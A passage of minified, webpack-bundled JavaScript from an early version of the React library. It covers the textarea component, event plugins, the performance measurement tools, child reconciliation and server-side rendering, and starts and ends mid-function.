a=o.text.length,i=a+r;return{start:a,end:i}}function a(e){var t=window.getSelection&&window.getSelection();if(!t||0===t.rangeCount)return null;var n=t.anchorNode,o=t.anchorOffset,a=t.focusNode,i=t.focusOffset,u=t.getRangeAt(0),s=r(t.anchorNode,t.anchorOffset,t.focusNode,t.focusOffset),c=s?0:u.toString().length,l=u.cloneRange();l.selectNodeContents(e),l.setEnd(u.startContainer,u.startOffset);var p=r(l.startContainer,l.startOffset,l.endContainer,l.endOffset),f=p?0:l.toString().length,d=f+c,h=document.createRange();h.setStart(n,o),h.setEnd(a,i);var v=h.collapsed;return{start:v?d:f,end:v?f:d}}function i(e,t){var n,r,o=document.selection.createRange().duplicate();"undefined"==typeof t.end?(n=t.start,r=n):t.start>t.end?(n=t.end,r=t.start):(n=t.start,r=t.end),o.moveToElementText(e),o.moveStart("character",n),o.setEndPoint("EndToStart",o),o.moveEnd("character",r-n),o.select()}function u(e,t){if(window.getSelection){var n=window.getSelection(),r=e[l()].length,o=Math.min(t.start,r),a="undefined"==typeof t.end?o:Math.min(t.end,r);if(!n.extend&&o>a){var i=a;a=o,o=i}var u=c(e,o),s=c(e,a);if(u&&s){var p=document.createRange();p.setStart(u.node,u.offset),n.removeAllRanges(),o>a?(n.addRange(p),n.extend(s.node,s.offset)):(p.setEnd(s.node,s.offset),n.addRange(p))}}}var s=n(12),c=n(421),l=n(177),p=s.canUseDOM&&"selection"in document&&!("getSelection"in window),f={getOffsets:p?o:a,setOffsets:p?i:u};e.exports=f},function(e,t,n){(function(t){"use strict";function r(){this.isMounted()&&this.forceUpdate()}var o=n(79),a=n(62),i=n(103),u=n(35),s=n(19),c=n(7),l=n(30),p=n(5),f=n(3),d=n(8),h=c.createFactory("textarea"),v=s.createClass({displayName:"ReactDOMTextarea",tagName:"TEXTAREA",mixins:[o,i.Mixin,u],getInitialState:function(){var e=this.props.defaultValue,n=this.props.children;null!=n&&("production"!==t.env.NODE_ENV&&("production"!==t.env.NODE_ENV?d(!1,"Use the `defaultValue` or `value` props instead of setting children on <textarea>."):null),"production"!==t.env.NODE_ENV?f(null==e,"If you supply `defaultValue` on a <textarea>, do not pass children."):f(null==e),Array.isArray(n)&&("production"!==t.env.NODE_ENV?f(n.length<=1,"<textarea> can only have at most one child."):f(n.length<=1),n=n[0]),e=""+n),null==e&&(e="");var r=i.getValue(this);return{initialValue:""+(null!=r?r:e)}},render:function(){var e=p({},this.props);return"production"!==t.env.NODE_ENV?f(null==e.dangerouslySetInnerHTML,"`dangerouslySetInnerHTML` does not make sense on <textarea>."):f(null==e.dangerouslySetInnerHTML),e.defaultValue=null,e.value=null,e.onChange=this._handleChange,h(e,this.state.initialValue)},componentDidUpdate:function(e,t,n){var r=i.getValue(this);if(null!=r){var o=this.getDOMNode();a.setValueForProperty(o,"value",""+r)}},_handleChange:function(e){var t,n=i.getOnChange(this);return n&&(t=n.call(this,e)),l.asap(r,this),t}});e.exports=v}).call(t,n(2))},function(e,t,n){"use strict";function r(){this.reinitializeTransaction()}var o=n(30),a=n(84),i=n(5),u=n(41),s={initialize:u,close:function(){f.isBatchingUpdates=!1}},c={initialize:u,close:o.flushBatchedUpdates.bind(o)},l=[c,s];i(r.prototype,a.Mixin,{getTransactionWrappers:function(){return l}});var p=new r,f={isBatchingUpdates:!1,batchedUpdates:function(e,t,n,r,o){var a=f.isBatchingUpdates;f.isBatchingUpdates=!0,a?e(t,n,r,o):p.perform(e,null,t,n,r,o)}};e.exports=f},function(e,t,n){(function(t){"use strict";function r(e){return h.createClass({tagName:e.toUpperCase(),render:function(){return new P(e,null,null,null,null,this.props)}})}function o(){if(R.EventEmitter.injectReactEventListener(M),R.EventPluginHub.injectEventPluginOrder(s),R.EventPluginHub.injectInstanceHandle(S),R.EventPluginHub.injectMount(T),R.EventPluginHub.injectEventPluginsByName({SimpleEventPlugin:j,EnterLeaveEventPlugin:c,ChangeEventPlugin:i,MobileSafariClickEventPlugin:f,SelectEventPlugin:k,BeforeInputEventPlugin:a}),R.NativeComponent.injectGenericComponentClass(g),R.NativeComponent.injectTextComponentClass(C),R.NativeComponent.injectAutoWrapper(r),R.Class.injectMixin(d),R.NativeComponent.injectComponentClasses({button:y,form:E,iframe:N,img:b,input:O,option:w,select:x,textarea:D,html:V("html"),head:V("head"),body:V("body")}),R.DOMProperty.injectDOMPropertyConfig(p),R.DOMProperty.injectDOMPropertyConfig(L),R.EmptyComponent.injectEmptyComponent("noscript"),R.Updates.injectReconcileTransaction(I),R.Updates.injectBatchingStrategy(m),R.RootIndex.injectCreateReactRootIndex(l.canUseDOM?u.createReactRootIndex:A.createReactRootIndex),R.Component.injectEnvironment(v),R.DOMComponent.injectIDOperations(_),"production"!==t.env.NODE_ENV){var e=l.canUseDOM&&window.location.href||"";if(/[?&]react_perf\b/.test(e)){var o=n(388);o.start()}}}var a=n(361),i=n(362),u=n(363),s=n(366),c=n(367),l=n(12),p=n(370),f=n(371),d=n(35),h=n(19),v=n(105),m=n(386),g=n(108),y=n(377),E=n(378),b=n(380),_=n(162),N=n(379),O=n(381),w=n(382),x=n(383),D=n(385),C=n(163),P=n(7),M=n(392),R=n(393),S=n(51),T=n(29),I=n(396),k=n(401),A=n(402),j=n(403),L=n(400),V=n(416);e.exports={inject:o}}).call(t,n(2))},function(e,t,n){"use strict";function r(e){return Math.floor(100*e)/100}function o(e,t,n){e[t]=(e[t]||0)+n}var a=n(46),i=n(389),u=n(29),s=n(40),c=n(431),l={_allMeasurements:[],_mountStack:[0],_injected:!1,start:function(){l._injected||s.injection.injectMeasure(l.measure),l._allMeasurements.length=0,s.enableMeasure=!0},stop:function(){s.enableMeasure=!1},getLastMeasurements:function(){return l._allMeasurements},printExclusive:function(e){e=e||l._allMeasurements;var t=i.getExclusiveSummary(e);console.table(t.map(function(e){return{"Component class name":e.componentName,"Total inclusive time (ms)":r(e.inclusive),"Exclusive mount time (ms)":r(e.exclusive),"Exclusive render time (ms)":r(e.render),"Mount time per instance (ms)":r(e.exclusive/e.count),"Render time per instance (ms)":r(e.render/e.count),Instances:e.count}}))},printInclusive:function(e){e=e||l._allMeasurements;var t=i.getInclusiveSummary(e);console.table(t.map(function(e){return{"Owner > component":e.componentName,"Inclusive time (ms)":r(e.time),Instances:e.count}})),console.log("Total time:",i.getTotalTime(e).toFixed(2)+" ms")},getMeasurementsSummaryMap:function(e){var t=i.getInclusiveSummary(e,!0);return t.map(function(e){return{"Owner > component":e.componentName,"Wasted time (ms)":e.time,Instances:e.count}})},printWasted:function(e){e=e||l._allMeasurements,console.table(l.getMeasurementsSummaryMap(e)),console.log("Total time:",i.getTotalTime(e).toFixed(2)+" ms")},printDOM:function(e){e=e||l._allMeasurements;var t=i.getDOMSummary(e);console.table(t.map(function(e){var t={};return t[a.ID_ATTRIBUTE_NAME]=e.id,t.type=e.type,t.args=JSON.stringify(e.args),t})),console.log("Total time:",i.getTotalTime(e).toFixed(2)+" ms")},_recordWrite:function(e,t,n,r){var o=l._allMeasurements[l._allMeasurements.length-1].writes;o[e]=o[e]||[],o[e].push({type:t,time:n,args:r})},measure:function(e,t,n){return function(){for(var r=[],a=0,i=arguments.length;i>a;a++)r.push(arguments[a]);var s,p,f;if("_renderNewRootComponent"===t||"flushBatchedUpdates"===t)return l._allMeasurements.push({exclusive:{},inclusive:{},render:{},counts:{},writes:{},displayNames:{},totalTime:0}),f=c(),p=n.apply(this,r),l._allMeasurements[l._allMeasurements.length-1].totalTime=c()-f,p;if("_mountImageIntoNode"===t||"ReactDOMIDOperations"===e){if(f=c(),p=n.apply(this,r),s=c()-f,"_mountImageIntoNode"===t){var d=u.getID(r[1]);l._recordWrite(d,t,s,r[0])}else"dangerouslyProcessChildrenUpdates"===t?r[0].forEach(function(e){var t={};null!==e.fromIndex&&(t.fromIndex=e.fromIndex),null!==e.toIndex&&(t.toIndex=e.toIndex),null!==e.textContent&&(t.textContent=e.textContent),null!==e.markupIndex&&(t.markup=r[1][e.markupIndex]),l._recordWrite(e.parentID,e.type,s,t)}):l._recordWrite(r[0],t,s,Array.prototype.slice.call(r,1));return p}if("ReactCompositeComponent"!==e||"mountComponent"!==t&&"updateComponent"!==t&&"_renderValidatedComponent"!==t)return n.apply(this,r);if("string"==typeof this._currentElement.type)return n.apply(this,r);var h="mountComponent"===t?r[0]:this._rootNodeID,v="_renderValidatedComponent"===t,m="mountComponent"===t,g=l._mountStack,y=l._allMeasurements[l._allMeasurements.length-1];if(v?o(y.counts,h,1):m&&g.push(0),f=c(),p=n.apply(this,r),s=c()-f,v)o(y.render,h,s);else if(m){var E=g.pop();g[g.length-1]+=s,o(y.exclusive,h,s-E),o(y.inclusive,h,s)}else o(y.inclusive,h,s);
return y.displayNames[h]={current:this.getName(),owner:this._currentElement._owner?this._currentElement._owner.getName():"<root>"},p}}};e.exports=l},function(e,t,n){function r(e){for(var t=0,n=0;n<e.length;n++){var r=e[n];t+=r.totalTime}return t}function o(e){for(var t=[],n=0;n<e.length;n++){var r,o=e[n];for(r in o.writes)o.writes[r].forEach(function(e){t.push({id:r,type:l[e.type]||e.type,args:e.args})})}return t}function a(e){for(var t,n={},r=0;r<e.length;r++){var o=e[r],a=s({},o.exclusive,o.inclusive);for(var i in a)t=o.displayNames[i].current,n[t]=n[t]||{componentName:t,inclusive:0,exclusive:0,render:0,count:0},o.render[i]&&(n[t].render+=o.render[i]),o.exclusive[i]&&(n[t].exclusive+=o.exclusive[i]),o.inclusive[i]&&(n[t].inclusive+=o.inclusive[i]),o.counts[i]&&(n[t].count+=o.counts[i])}var u=[];for(t in n)n[t].exclusive>=c&&u.push(n[t]);return u.sort(function(e,t){return t.exclusive-e.exclusive}),u}function i(e,t){for(var n,r={},o=0;o<e.length;o++){var a,i=e[o],l=s({},i.exclusive,i.inclusive);t&&(a=u(i));for(var p in l)if(!t||a[p]){var f=i.displayNames[p];n=f.owner+" > "+f.current,r[n]=r[n]||{componentName:n,time:0,count:0},i.inclusive[p]&&(r[n].time+=i.inclusive[p]),i.counts[p]&&(r[n].count+=i.counts[p])}}var d=[];for(n in r)r[n].time>=c&&d.push(r[n]);return d.sort(function(e,t){return t.time-e.time}),d}function u(e){var t={},n=Object.keys(e.writes),r=s({},e.exclusive,e.inclusive);for(var o in r){for(var a=!1,i=0;i<n.length;i++)if(0===n[i].indexOf(o)){a=!0;break}!a&&e.counts[o]>0&&(t[o]=!0)}return t}var s=n(5),c=1.2,l={_mountImageIntoNode:"set innerHTML",INSERT_MARKUP:"set innerHTML",MOVE_EXISTING:"move",REMOVE_NODE:"remove",TEXT_CONTENT:"set textContent",updatePropertyByID:"update attribute",deletePropertyByID:"delete attribute",updateStylesByID:"update styles",updateInnerHTMLByID:"set innerHTML",dangerouslyReplaceNodeWithMarkupByID:"replace"},p={getExclusiveSummary:a,getInclusiveSummary:i,getDOMSummary:o,getTotalTime:r};e.exports=p},function(e,t){"use strict";var n={guard:function(e,t){return e}};e.exports=n},function(e,t,n){"use strict";function r(e){o.enqueueEvents(e),o.processEventQueue()}var o=n(63),a={handleTopLevel:function(e,t,n,a){var i=o.extractEvents(e,t,n,a);r(i)}};e.exports=a},function(e,t,n){"use strict";function r(e){var t=p.getID(e),n=l.getReactRootIDFromNodeID(t),r=p.findReactContainerForID(n),o=p.getFirstReactDOM(r);return o}function o(e,t){this.topLevelType=e,this.nativeEvent=t,this.ancestors=[]}function a(e){for(var t=p.getFirstReactDOM(h(e.nativeEvent))||window,n=t;n;)e.ancestors.push(n),n=r(n);for(var o=0,a=e.ancestors.length;a>o;o++){t=e.ancestors[o];var i=p.getID(t)||"";m._handleTopLevel(e.topLevelType,t,i,e.nativeEvent)}}function i(e){var t=v(window);e(t)}var u=n(368),s=n(12),c=n(34),l=n(51),p=n(29),f=n(30),d=n(5),h=n(117),v=n(423);d(o.prototype,{destructor:function(){this.topLevelType=null,this.nativeEvent=null,this.ancestors.length=0}}),c.addPoolingTo(o,c.twoArgumentPooler);var m={_enabled:!0,_handleTopLevel:null,WINDOW_HANDLE:s.canUseDOM?window:null,setHandleTopLevel:function(e){m._handleTopLevel=e},setEnabled:function(e){m._enabled=!!e},isEnabled:function(){return m._enabled},trapBubbledEvent:function(e,t,n){var r=n;return r?u.listen(r,t,m.dispatchEvent.bind(null,e)):null},trapCapturedEvent:function(e,t,n){var r=n;return r?u.capture(r,t,m.dispatchEvent.bind(null,e)):null},monitorScrollValue:function(e){var t=i.bind(null,e);u.listen(window,"scroll",t)},dispatchEvent:function(e,t){if(m._enabled){var n=o.getPooled(e,t);try{f.batchedUpdates(a,n)}finally{o.release(n)}}}};e.exports=m},function(e,t,n){"use strict";var r=n(46),o=n(63),a=n(106),i=n(19),u=n(109),s=n(50),c=n(81),l=n(108),p=n(40),f=n(169),d=n(30),h={Component:a.injection,Class:i.injection,DOMComponent:l.injection,DOMProperty:r.injection,EmptyComponent:u.injection,EventPluginHub:o.injection,EventEmitter:s.injection,NativeComponent:c.injection,Perf:p.injection,RootIndex:f.injection,Updates:d.injection};e.exports=h},function(e,t,n){"use strict";function r(e,t,n){h.push({parentID:e,parentNode:null,type:l.INSERT_MARKUP,markupIndex:v.push(t)-1,textContent:null,fromIndex:null,toIndex:n})}function o(e,t,n){h.push({parentID:e,parentNode:null,type:l.MOVE_EXISTING,markupIndex:null,textContent:null,fromIndex:t,toIndex:n})}function a(e,t){h.push({parentID:e,parentNode:null,type:l.REMOVE_NODE,markupIndex:null,textContent:null,fromIndex:t,toIndex:null})}function i(e,t){h.push({parentID:e,parentNode:null,type:l.TEXT_CONTENT,markupIndex:null,textContent:t,fromIndex:null,toIndex:null})}function u(){h.length&&(c.processChildrenUpdates(h,v),s())}function s(){h.length=0,v.length=0}var c=n(106),l=n(166),p=n(53),f=n(373),d=0,h=[],v=[],m={Mixin:{mountChildren:function(e,t,n){var r=f.instantiateChildren(e,t,n);this._renderedChildren=r;var o=[],a=0;for(var i in r)if(r.hasOwnProperty(i)){var u=r[i],s=this._rootNodeID+i,c=p.mountComponent(u,s,t,n);u._mountIndex=a,o.push(c),a++}return o},updateTextContent:function(e){d++;var t=!0;try{var n=this._renderedChildren;f.unmountChildren(n);for(var r in n)n.hasOwnProperty(r)&&this._unmountChildByName(n[r],r);this.setTextContent(e),t=!1}finally{d--,d||(t?s():u())}},updateChildren:function(e,t,n){d++;var r=!0;try{this._updateChildren(e,t,n),r=!1}finally{d--,d||(r?s():u())}},_updateChildren:function(e,t,n){var r=this._renderedChildren,o=f.updateChildren(r,e,t,n);if(this._renderedChildren=o,o||r){var a,i=0,u=0;for(a in o)if(o.hasOwnProperty(a)){var s=r&&r[a],c=o[a];s===c?(this.moveChild(s,u,i),i=Math.max(s._mountIndex,i),s._mountIndex=u):(s&&(i=Math.max(s._mountIndex,i),this._unmountChildByName(s,a)),this._mountChildByNameAtIndex(c,a,u,t,n)),u++}for(a in r)!r.hasOwnProperty(a)||o&&o.hasOwnProperty(a)||this._unmountChildByName(r[a],a)}},unmountChildren:function(){var e=this._renderedChildren;f.unmountChildren(e),this._renderedChildren=null},moveChild:function(e,t,n){e._mountIndex<n&&o(this._rootNodeID,e._mountIndex,t)},createChild:function(e,t){r(this._rootNodeID,t,e._mountIndex)},removeChild:function(e){a(this._rootNodeID,e._mountIndex)},setTextContent:function(e){i(this._rootNodeID,e)},_mountChildByNameAtIndex:function(e,t,n,r,o){var a=this._rootNodeID+t,i=p.mountComponent(e,a,r,o);e._mountIndex=n,this.createChild(e,i)},_unmountChildByName:function(e,t){this.removeChild(e),e._mountIndex=null}}};e.exports=m},function(e,t,n){(function(t){"use strict";var r=n(3),o={isValidOwner:function(e){return!(!e||"function"!=typeof e.attachRef||"function"!=typeof e.detachRef)},addComponentAsRefTo:function(e,n,a){"production"!==t.env.NODE_ENV?r(o.isValidOwner(a),"addComponentAsRefTo(...): Only a ReactOwner can have refs. This usually means that you're trying to add a ref to a component that doesn't have an owner (that is, was not created inside of another component's `render` method). Try rendering this component inside of a new top-level component which will hold the ref."):r(o.isValidOwner(a)),a.attachRef(n,e)},removeComponentAsRefFrom:function(e,n,a){"production"!==t.env.NODE_ENV?r(o.isValidOwner(a),"removeComponentAsRefFrom(...): Only a ReactOwner can have refs. This usually means that you're trying to remove a ref to a component that doesn't have an owner (that is, was not created inside of another component's `render` method). Try rendering this component inside of a new top-level component which will hold the ref."):r(o.isValidOwner(a)),a.getPublicInstance().refs[n]===e.getPublicInstance()&&a.detachRef(n)}};e.exports=o}).call(t,n(2))},function(e,t,n){"use strict";function r(){this.reinitializeTransaction(),this.renderToStaticMarkup=!1,this.reactMountReady=o.getPooled(null),this.putListenerQueue=s.getPooled()}var o=n(101),a=n(34),i=n(50),u=n(164),s=n(168),c=n(84),l=n(5),p={initialize:u.getSelectionInformation,close:u.restoreSelection},f={initialize:function(){var e=i.isEnabled();return i.setEnabled(!1),e},close:function(e){i.setEnabled(e)}},d={initialize:function(){this.reactMountReady.reset()},close:function(){this.reactMountReady.notifyAll()}},h={initialize:function(){this.putListenerQueue.reset()},close:function(){this.putListenerQueue.putListeners()}},v=[h,p,f,d],m={getTransactionWrappers:function(){return v},getReactMountReady:function(){return this.reactMountReady},getPutListenerQueue:function(){return this.putListenerQueue},destructor:function(){o.release(this.reactMountReady),this.reactMountReady=null,s.release(this.putListenerQueue),this.putListenerQueue=null}};l(r.prototype,c.Mixin,m),a.addPoolingTo(r),e.exports=r},function(e,t,n){"use strict";function r(e,t,n){"function"==typeof e?e(t.getPublicInstance()):a.addComponentAsRefTo(t,e,n)}function o(e,t,n){"function"==typeof e?e(null):a.removeComponentAsRefFrom(t,e,n)}var a=n(395),i={};i.attachRefs=function(e,t){var n=t.ref;null!=n&&r(n,e,t._owner)},i.shouldUpdateRefs=function(e,t){return t._owner!==e._owner||t.ref!==e.ref},i.detachRefs=function(e,t){var n=t.ref;null!=n&&o(n,e,t._owner)},e.exports=i},function(e,t,n){(function(t){"use strict";function r(e){"production"!==t.env.NODE_ENV?p(a.isValidElement(e),"renderToString(): You must pass a valid ReactElement."):p(a.isValidElement(e));var n;try{var r=i.createReactRootID();return n=s.getPooled(!1),n.perform(function(){var t=l(e,null),o=t.mountComponent(r,n,c);return u.addChecksumToMarkup(o)},null)}finally{s.release(n)}}function o(e){"production"!==t.env.NODE_ENV?p(a.isValidElement(e),"renderToStaticMarkup(): You must pass a valid ReactElement."):p(a.isValidElement(e));var n;try{var r=i.createReactRootID();return n=s.getPooled(!0),n.perform(function(){var t=l(e,null);return t.mountComponent(r,n,c)},null)}finally{s.release(n)}}var a=n(7),i=n(51),u=n(165),s=n(399),c=n(85),l=n(118),p=n(3);e.exports={renderToString:r,renderToStaticMarkup:o}}).call(t,n(2))},function(e,t,n){"use strict";function r(e){this.reinitializeTransaction(),this.renderToStaticMarkup=e,this.reactMountReady=a.getPooled(null),this.putListenerQueue=i.getPooled()}var o=n(34),a=n(101),i=n(168),u=n(84),s=n(5),c=n(41),l={initialize:function(){this.reactMountReady.reset()},close:c},p={initialize:function(){this.putListenerQueue.reset()},close:c},f=[p,l],d={getTransactionWrappers:function(){return f},getReactMountReady:function(){return this.reactMountReady},getPutListenerQueue:function(){return this.putListenerQueue},destructor:function(){a.release(this.reactMountReady),this.reactMountReady=null,i.release(this.putListenerQueue),this.putListenerQueue=null}};s(r.prototype,u.Mixin,d),o.addPoolingTo(r),e.exports=r},function(e,t,n){"use strict";var r=n(46),o=r.injection.MUST_USE_ATTRIBUTE,a={Properties:{clipPath:o,cx:o,cy:o,d:o,dx:o,dy:o,fill:o,fillOpacity:o,fontFamily:o,fontSize:o,fx:o,fy:o,gradientTransform:o,gradientUnits:o,markerEnd:o,markerMid:o,markerStart:o,offset:o,opacity:o,patternContentUnits:o,patternUnits:o,points:o,preserveAspectRatio:o,r:o,rx:o,ry:o,spreadMethod:o,stopColor:o,stopOpacity:o,stroke:o,strokeDasharray:o,strokeLinecap:o,strokeOpacity:o,strokeWidth:o,textAnchor:o,transform:o,version:o,viewBox:o,x1:o,x2:o,x:o,y1:o,y2:o,y:o},DOMAttributeNames:{clipPath:"clip-path",fillOpacity:"fill-opacity",fontFamily:"font-family",fontSize:"font-size",gradientTransform:"gradientTransform",gradientUnits:"gradientUnits",markerEnd:"marker-end",markerMid:"marker-mid",markerStart:"marker-start",patternContentUnits:"patternContentUnits",patternUnits:"patternUnits",preserveAspectRatio:"preserveAspectRatio",spreadMethod:"spreadMethod",stopColor:"stop-color",stopOpacity:"stop-opacity",strokeDasharray:"stroke-dasharray",strokeLinecap:"stroke-linecap",strokeOpacity:"stroke-opacity",strokeWidth:"stroke-width",textAnchor:"text-anchor",viewBox:"viewBox"}};e.exports=a},function(e,t,n){"use strict";function r(e){if("selectionStart"in e&&u.hasSelectionCapabilities(e))return{start:e.selectionStart,end:e.selectionEnd};if(window.getSelection){var t=window.getSelection();return{anchorNode:t.anchorNode,anchorOffset:t.anchorOffset,focusNode:t.focusNode,focusOffset:t.focusOffset}}if(document.selection){var n=document.selection.createRange();return{parentElement:n.parentElement(),text:n.text,top:n.boundingTop,left:n.boundingLeft}}}function o(e){if(y||null==v||v!==c())return null;var t=r(v);if(!g||!f(g,t)){g=t;var n=s.getPooled(h.select,m,e);return n.type="select",n.target=v,i.accumulateTwoPhaseDispatches(n),n}}var a=n(18),i=n(64),u=n(164),s=n(47),c=n(174),l=n(179),p=n(42),f=n(434),d=a.topLevelTypes,h={select:{phasedRegistrationNames:{bubbled:p({onSelect:null}),captured:p({onSelectCapture:null})},dependencies:[d.topBlur,d.topContextMenu,d.topFocus,d.topKeyDown,d.topMouseDown,d.topMouseUp,d.topSelectionChange]}},v=null,m=null,g=null,y=!1,E={eventTypes:h,extractEvents:function(e,t,n,r){switch(e){case d.topFocus:(l(t)||"true"===t.contentEditable)&&(v=t,m=n,g=null);break;case d.topBlur:v=null,m=null,g=null;break;case d.topMouseDown:y=!0;break;case d.topContextMenu:case d.topMouseUp:return y=!1,o(r);case d.topSelectionChange:case d.topKeyDown:case d.topKeyUp:return o(r)}}};e.exports=E},function(e,t){"use strict";var n=Math.pow(2,53),r={createReactRootIndex:function(){return Math.ceil(Math.random()*n)}};e.exports=r},function(e,t,n){(function(t){"use strict";var r=n(18),o=n(102),a=n(64),i=n(404),u=n(47),s=n(407),c=n(409),l=n(83),p=n(406),f=n(410),d=n(66),h=n(411),v=n(115),m=n(3),g=n(42),y=n(8),E=r.topLevelTypes,b={blur:{phasedRegistrationNames:{bubbled:g({onBlur:!0}),captured:g({onBlurCapture:!0})}},click:{phasedRegistrationNames:{bubbled:g({onClick:!0}),captured:g({onClickCapture:!0})}},contextMenu:{phasedRegistrationNames:{bubbled:g({onContextMenu:!0}),captured:g({onContextMenuCapture:!0})}},copy:{phasedRegistrationNames:{bubbled:g({onCopy:!0}),captured:g({onCopyCapture:!0})}},cut:{phasedRegistrationNames:{bubbled:g({onCut:!0}),captured:g({onCutCapture:!0})}},doubleClick:{phasedRegistrationNames:{bubbled:g({onDoubleClick:!0}),captured:g({onDoubleClickCapture:!0})}},drag:{phasedRegistrationNames:{bubbled:g({onDrag:!0}),captured:g({onDragCapture:!0})}},dragEnd:{phasedRegistrationNames:{bubbled:g({onDragEnd:!0}),captured:g({onDragEndCapture:!0})}},dragEnter:{phasedRegistrationNames:{bubbled:g({onDragEnter:!0}),captured:g({onDragEnterCapture:!0})}},dragExit:{phasedRegistrationNames:{bubbled:g({onDragExit:!0}),captured:g({onDragExitCapture:!0})}},dragLeave:{phasedRegistrationNames:{bubbled:g({onDragLeave:!0}),captured:g({onDragLeaveCapture:!0})}},dragOver:{phasedRegistrationNames:{bubbled:g({onDragOver:!0}),captured:g({onDragOverCapture:!0})}},dragStart:{phasedRegistrationNames:{bubbled:g({onDragStart:!0}),captured:g({onDragStartCapture:!0})}},drop:{phasedRegistrationNames:{bubbled:g({onDrop:!0}),captured:g({onDropCapture:!0})}},focus:{phasedRegistrationNames:{bubbled:g({onFocus:!0}),captured:g({onFocusCapture:!0})}},input:{phasedRegistrationNames:{bubbled:g({onInput:!0}),captured:g({onInputCapture:!0})}},keyDown:{phasedRegistrationNames:{bubbled:g({onKeyDown:!0}),captured:g({onKeyDownCapture:!0})}},keyPress:{phasedRegistrationNames:{bubbled:g({onKeyPress:!0}),captured:g({onKeyPressCapture:!0})}},keyUp:{phasedRegistrationNames:{bubbled:g({onKeyUp:!0}),captured:g({onKeyUpCapture:!0})}},load:{phasedRegistrationNames:{bubbled:g({onLoad:!0}),captured:g({onLoadCapture:!0})}},error:{phasedRegistrationNames:{bubbled:g({onError:!0}),captured:g({onErrorCapture:!0})}},mouseDown:{phasedRegistrationNames:{bubbled:g({onMouseDown:!0}),captured:g({onMouseDownCapture:!0})}},mouseMove:{phasedRegistrationNames:{bubbled:g({onMouseMove:!0}),captured:g({onMouseMoveCapture:!0})}},mouseOut:{phasedRegistrationNames:{bubbled:g({onMouseOut:!0}),captured:g({onMouseOutCapture:!0})}},mouseOver:{phasedRegistrationNames:{bubbled:g({onMouseOver:!0}),captured:g({onMouseOverCapture:!0})}},mouseUp:{phasedRegistrationNames:{bubbled:g({onMouseUp:!0}),captured:g({onMouseUpCapture:!0})}},paste:{phasedRegistrationNames:{bubbled:g({onPaste:!0}),captured:g({onPasteCapture:!0})}},reset:{phasedRegistrationNames:{bubbled:g({onReset:!0}),captured:g({onResetCapture:!0})}},scroll:{phasedRegistrationNames:{bubbled:g({onScroll:!0}),captured:g({onScrollCapture:!0})}},submit:{phasedRegistrationNames:{bubbled:g({onSubmit:!0}),captured:g({onSubmitCapture:!0})}},touchCancel:{phasedRegistrationNames:{bubbled:g({onTouchCancel:!0}),captured:g({onTouchCancelCapture:!0})}},touchEnd:{phasedRegistrationNames:{bubbled:g({onTouchEnd:!0}),captured:g({onTouchEndCapture:!0})}},touchMove:{phasedRegistrationNames:{bubbled:g({onTouchMove:!0}),captured:g({onTouchMoveCapture:!0})}},touchStart:{phasedRegistrationNames:{bubbled:g({onTouchStart:!0}),captured:g({onTouchStartCapture:!0})}},wheel:{phasedRegistrationNames:{bubbled:g({onWheel:!0}),captured:g({onWheelCapture:!0})}}},_={topBlur:b.blur,topClick:b.click,topContextMenu:b.contextMenu,topCopy:b.copy,topCut:b.cut,topDoubleClick:b.doubleClick,topDrag:b.drag,topDragEnd:b.dragEnd,topDragEnter:b.dragEnter,topDragExit:b.dragExit,topDragLeave:b.dragLeave,topDragOver:b.dragOver,topDragStart:b.dragStart,topDrop:b.drop,topError:b.error,topFocus:b.focus,topInput:b.input,topKeyDown:b.keyDown,topKeyPress:b.keyPress,topKeyUp:b.keyUp,topLoad:b.load,topMouseDown:b.mouseDown,topMouseMove:b.mouseMove,topMouseOut:b.mouseOut,topMouseOver:b.mouseOver,topMouseUp:b.mouseUp,topPaste:b.paste,topReset:b.reset,topScroll:b.scroll,topSubmit:b.submit,topTouchCancel:b.touchCancel,topTouchEnd:b.touchEnd,topTouchMove:b.touchMove,topTouchStart:b.touchStart,topWheel:b.wheel};for(var N in _)_[N].dependencies=[N];var O={eventTypes:b,executeDispatch:function(e,n,r){var a=o.executeDispatch(e,n,r);"production"!==t.env.NODE_ENV?y("boolean"!=typeof a,"Returning `false` from an event handler is deprecated and will be ignored in a future release. Instead, manually call e.stopPropagation() or e.preventDefault(), as appropriate."):null,a===!1&&(e.stopPropagation(),e.preventDefault())},extractEvents:function(e,n,r,o){var g=_[e];if(!g)return null;var y;switch(e){case E.topInput:case E.topLoad:case E.topError:case E.topReset:case E.topSubmit:y=u;break;case E.topKeyPress:if(0===v(o))return null;case E.topKeyDown:case E.topKeyUp:y=c;break;case E.topBlur:case E.topFocus:y=s;break;case E.topClick:if(2===o.button)return null;case E.topContextMenu:case E.topDoubleClick:case E.topMouseDown:case E.topMouseMove:case E.topMouseOut:case E.topMouseOver:case E.topMouseUp:y=l;break;case E.topDrag:case E.topDragEnd:case E.topDragEnter:case E.topDragExit:case E.topDragLeave:case E.topDragOver:case E.topDragStart:case E.topDrop:y=p;break;case E.topTouchCancel:case E.topTouchEnd:case E.topTouchMove:case E.topTouchStart:y=f;break;case E.topScroll:y=d;break;case E.topWheel:y=h;break;case E.topCopy:case E.topCut:case E.topPaste:y=i}"production"!==t.env.NODE_ENV?m(y,"SimpleEventPlugin: Unhandled event type, `%s`.",e):m(y);var b=y.getPooled(g,r,o);return a.accumulateTwoPhaseDispatches(b),b}};e.exports=O}).call(t,n(2))},function(e,t,n){"use strict";function r(e,t,n){o.call(this,e,t,n)}var o=n(47),a={clipboardData:function(e){return"clipboardData"in e?e.clipboardData:window.clipboardData}};o.augmentClass(r,a),e.exports=r},function(e,t,n){"use strict";function r(e,t,n){o.call(this,e,t,n)}var o=n(47),a={data:null};o.augmentClass(r,a),e.exports=r},function(e,t,n){"use strict";function r(e,t,n){o.call(this,e,t,n)}var o=n(83),a={dataTransfer:null};o.augmentClass(r,a),e.exports=r},function(e,t,n){"use strict";function r(e,t,n){o.call(this,e,t,n)}var o=n(66),a={relatedTarget:null};o.augmentClass(r,a),e.exports=r},function(e,t,n){"use strict";function r(e,t,n){o.call(this,e,t,n)}var o=n(47),a={data:null};o.augmentClass(r,a),e.exports=r},function(e,t,n){"use strict";function r(e,t,n){o.call(this,e,t,n)}var o=n(66),a=n(115),i=n(420),u=n(116),s={key:i,location:null,ctrlKey:null,shiftKey:null,altKey:null,metaKey:null,repeat:null,locale:null,getModifierState:u,charCode:function(e){return"keypress"===e.type?a(e):0},keyCode:function(e){return"keydown"===e.type||"keyup"===e.type?e.keyCode:0},which:function(e){return"keypress"===e.type?a(e):"keydown"===e.type||"keyup"===e.type?e.keyCode:0}};o.augmentClass(r,s),e.exports=r},function(e,t,n){"use strict";function 